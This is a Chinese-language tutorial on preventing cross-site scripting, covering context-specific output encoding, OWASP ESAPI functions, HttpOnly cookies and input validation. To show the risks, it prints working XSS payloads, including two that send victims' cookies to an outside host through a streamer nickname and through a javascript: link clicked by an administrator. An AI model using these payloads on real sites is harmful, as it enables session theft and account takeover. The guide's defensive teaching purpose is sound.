XSS简介
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
XSS攻击的危害包括
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
如何防御XSS攻击
防御XSS的核心是在输出不可信数据的时候进行编码,虽然现如今流行的Web框架大多都在默认情况下就对不可信数据进行了HTML编码,帮我们做了防御。对于将要放置到HTML页面body里的不可信数据,进行HTML编码已经足够防御XSS攻击了,甚至将HTML编码后的数据放到HTML标签(TAG)的属性(attribute)里也不会产生XSS漏洞(但前提是这些属性都正确使用了引号)。但是,如果你将HTML编码后的数据放到了<SCRIPT>标签里的任何地方,甚至是HTML标签的事件处理属性里(如onmouseover),又或者是放到了CSS、URL里,XSS攻击依然会发生,在这种情况下,HTML编码不起作用了。所以就算你到处使用了HTML编码,XSS漏洞依然可能存在。
1.不要在页面中插入任何不可信数据,除非这些数已经据根据后面几个原则进行了编码
HTML里有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差别,比如有些漏洞发生在HTML标签里,有些发生在HTML标签的属性里,还有的发生在页面的<script>里,甚至有些还出现在CSS里,再加上不同浏览器对页面的解析或多或少有些不同,使得有些漏洞只在特定浏览器里才会产生。如果想要通过XSS过滤器(XSS Filter)对不可信数据进行转义或替换,那么XSS过滤器的过滤规则将会变得异常复杂,难以维护而且会有被绕过的风险。
直接插入到SCRIPT标签里 :
<script>…不要在这里直接插入不可信数据…</script>
插入到HTML注释里:
<!– …不要在这里直接插入不可信数据… –>
插入到HTML标签的属性名里:
<div 不要在这里直接插入不可信数据=”…”></div>
插入到HTML标签的属性值里:
<div name=”…不要在这里直接插入不可信数据…”></div>
作为HTML标签的名字:
<不要在这里直接插入不可信数据 href=”…”></a>
直接插入到CSS里:
<style>…不要在这里直接插入不可信数据…</style>
最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里,一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。
2.在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码
往HTML标签之间插入不可信数据与往HTML标签属性部分插入不可信数据,这两者需要进行不同类型的编码。当你确实需要往HTML标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行HTML Entity编码。
<body>…插入不可信数据前,对其进行HTML Entity编码…</body>
<div>…插入不可信数据前,对其进行HTML Entity编码…</div>
<p>…插入不可信数据前,对其进行HTML Entity编码…</p>
以此类推,往其他HTML标签之间插入不可信数据前,对其进行HTML Entity编码
HTML Entity编码规则(也就是转换为HTML实体)
& –> &
< –> <
> –> >
” –> "
‘ –> '
/ –> /
●不推荐将单引号( ‘ )编码为 ' 因为它并不是标准的HTML标签
●需要对斜杠号( / )编码,因为在进行XSS攻击时,斜杠号对于关闭当前HTML标签非常有用
OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。HTML 实体编码:
String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));
3.在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
当你要往HTML属性(例如width、name、value属性)的值部分(data value)插入不可信数据的时候,应该对数据进行HTML属性编码。不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,本条原则不适用,应该用下面的第4条对其进行JavaScript编码。
属性值部分没有使用引号,不推荐
<div attr=…插入不可信数据前,进行HTML属性编码…></div>
属性值部分使用了单引号
<div attr=’…插入不可信数据前,进行HTML属性编码…’></div>
属性值部分使用了双引号
<div attr=”…插入不可信数据前,进行HTML属性编码…”></div>
编码规则
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。
编码后输出的格式为&#xHH;(以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符)
如果属性值部分没有使用引号的话,攻击者很容易就能闭合掉当前属性,随后即可插入攻击脚本。例如,如果属性没有使用引号,又没有对数据进行严格编码,那么一个空格符就可以闭合掉当前属性。请看下面这个攻击:
HTML代码:<div width=$INPUT> …content… </div>
攻击者构造:x onmouseover="javascript:alert(/xss/)"
最终浏览器中显示的HTML
<div width=x onmouseover=”javascript:alert(/xss/)”> …content… </div>
除了空格符可以闭合当前属性外,这些符号也可以
% * + , – / ; < = > ^ | `(反单引号,IE会认为它是单引号)
可以使用ESAPI提供的函数进行HTML属性编码:
String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));
4.在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,例如:
<script>
var message = “<%= encodeJavaScript(@INPUT) %>”;
</script>
除此之外,往JavaScript代码里其他任何地方插入不可信数据都是相当危险的,攻击者可以很容易地插入攻击代码。
<script>alert('…插入不可信数据前,进行JavaScript编码…')</script>
值部分使用了单引号
<script>x = "…插入不可信数据前,进行JavaScript编码…"</script>
值部分使用了双引号
<div onmouseover="x='…插入不可信数据前,进行JavaScript编码…' "</div>
值部分使用了引号,且事件处理属性的值部分也使用了引号
特别需要注意的是,在XSS防御中,有些JavaScript函数是极度危险的,就算对不可信数据进行JavaScript编码,也依然会产生XSS漏洞,例如:
<script>
window.setInterval('…就算对不可信数据进行了JavaScript编码,这里依然会有XSS漏洞…');
</script>
编码规则
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \xHH (以 \x 开头,HH则是指该字符对应的十六进制数字)
在对不可信数据做编码的时候,千万不能图方便使用反斜杠( \ )对特殊字符进行简单转义,比如将双引号 "转义成 ",这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击。例如:
假设代码片段如下:
<script>
var message = " $VAR ";
</script>
攻击者输入的内容为:\”; alert(‘xss’);//
如果只是对双引号进行简单转义,将其替换成 \” 的话,攻击者输入的内容在最终的页面上会变成:
<script>
var message = "\\"; alert('xss');// ";
</script>
浏览器在解析的时候,会认为反斜杠后面的那个双引号和第一个双引号相匹配,继而认为后续的alert(‘xss’)是正常的JavaScript脚本,因此允许执行。
script脚本中最好不要使用不确定的内容
下面假设一个场景:
比如某个直播网站,主播可以设置昵称,用户可以进入该房间观看直播。并且js要用到该主播的昵称,比如要用js将主播昵称放到屏幕中间做一个滚动的效果。
<script>
//获取主播昵称
var starNick = '${starNick}';
//让主播昵称在屏幕中间滚动
rollingStarNick(starNick);
</script>
但是主播如果是一个懂xss攻击,并且想盗取观看用户帐号信息的人。那么问题就大了。
假如主播将昵称改为如下代码:
';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'
当用户进入房间后,脚本部分源码将变成这样:
<script>
var starNick = '';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'' ;
rollingStarNick(starNick);
</script>
用户的cookie信息直接就被自动发送到了指定的网站。
可以使用ESAPI提供的函数进行JavaScript编码:
String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));
5.在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
当需要往Stylesheet,Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。传统印象里CSS不过是负责页面样式的,但是实际上它比我们想象的要强大许多,而且还可以用来进行各种攻击。最好不要把不可信数据放到一些复杂属性里,比如url, behavior等,只能被IE认识的Expression属性允许执行JavaScript脚本,因此也不推荐把不可信数据放到这里。(只存在于IE5-IE7)
<style>selector { property : …插入不可信数据前,进行CSS编码…} </style>
<style>selector { property : " …插入不可信数据前,进行CSS编码… "} </style>
<span style=" property : …插入不可信数据前,进行CSS编码… "> … </span>
编码规则
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \HH (以 \ 开头,HH则是指该字符对应的十六进制数字)
同原则2,原则3,在对不可信数据进行编码的时候,切忌投机取巧对双引号等特殊字符进行简单转义,攻击者可以想办法绕开这类限制。
可以使用ESAPI提供的函数进行CSS编码:
String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));
6.在将不可信数据插入到HTML URL里时,对这些数据进行URL编码
当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:
<a href=”http://www.abcd.com?param=…插入不可信数据前,进行URL编码…”> Link Content </a>
编码规则
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 %HH (以 % 开头,HH则是指该字符对应的十六进制数字)
在对URL进行编码的时候,有两点是需要特别注意的:
1) URL属性应该使用引号将值部分包围起来,否则攻击者可以很容易突破当前属性区域,插入后续攻击代码
2) 不要对整个URL进行编码,因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里,这时需要对数据的起始部分的协议字段进行验证,否则攻击者可以改变URL的协议,例如从HTTP协议改为DATA伪协议,或者javascript伪协议.
<a>标签的href属性中最好不要包含不确定(用户输入)的内容。它除了直接指定一个url进行跳转,还可以通过javascript:xxx();的方式执行js代码。
比如注册用户信息是要求用户输入一个博客地址(一个url),用户管理后台的列表中再加一列,让管理员直接点这个链接去访问用户的博客。
<td><a href="${user.blog}">博客地址</a></td>
攻击者在注册用户时,博客地址如果输入下面这样的脚本:
javascript:window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href
那么当管理员点击这个链接的时候,跟之前一样的悲剧就又发生了,管理员的登录信息就被攻击者盗取了。
所以千万不要直接将用户输入的信息输出到href属性中,即使一定要输出,也应该将内容中的javascript/document/cookie/…等js关键字替换掉 , 最好的方式就是直接将这个信息转译后输出到页面,让管理员复制链接然后再去打开博客
可以使用ESAPI提供的函数进行URL编码:
String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));
ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:
String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false);
if (isValidURL) {
<a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a>
}
7.使用富文本时,使用XSS规则引擎进行编码过滤
Web应用一般都会提供用户输入富文本信息的功能,比如BBS发帖,写博客文章等,用户提交的富文本信息里往往包含了HTML标签,甚至是JavaScript脚本,如果不对其进行适当的编码过滤的话,则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞,所以就不允许用户输入富文本,这样对用户体验伤害很大。
针对富文本的特殊性,我们可以使用XSS规则引擎对用户输入进行编码过滤,只允许用户输入安全的HTML标签,如<b>, <i>, <p>等,对其他数据进行HTML编码。需要注意的是,经过规则引擎编码过滤后的内容只能放在<div>, <p>等安全的HTML标签里,不要放到HTML标签的属性值里,更不要放到HTML事件处理属性里,或者放到<SCRIPT>标签里。
8.防御DOM Based XSS
DOM Based XSS是从javascript中输出数据到HTML页面里。
把变量输出到页面时要做好相关的编码转义工作,如要输出到 <script>中,可以进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理。根据不同的语境采用不同的编码处理方式。
会触发DOM Based XSS的地方有很多:
document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()
9.HttpOnly Cookie
一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的 document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时 候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
10.输入检查
输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。例如输入email的文本框只允许输入格式正确的email,输入手机号码的文本框只允许填入数字且格式需要正确。这类合法性验证至少需要在服务器端进行以防止浏览器端验证被绕过,而为了提高用户体验和减轻服务器压力,最好也在浏览器端进行同样的验证。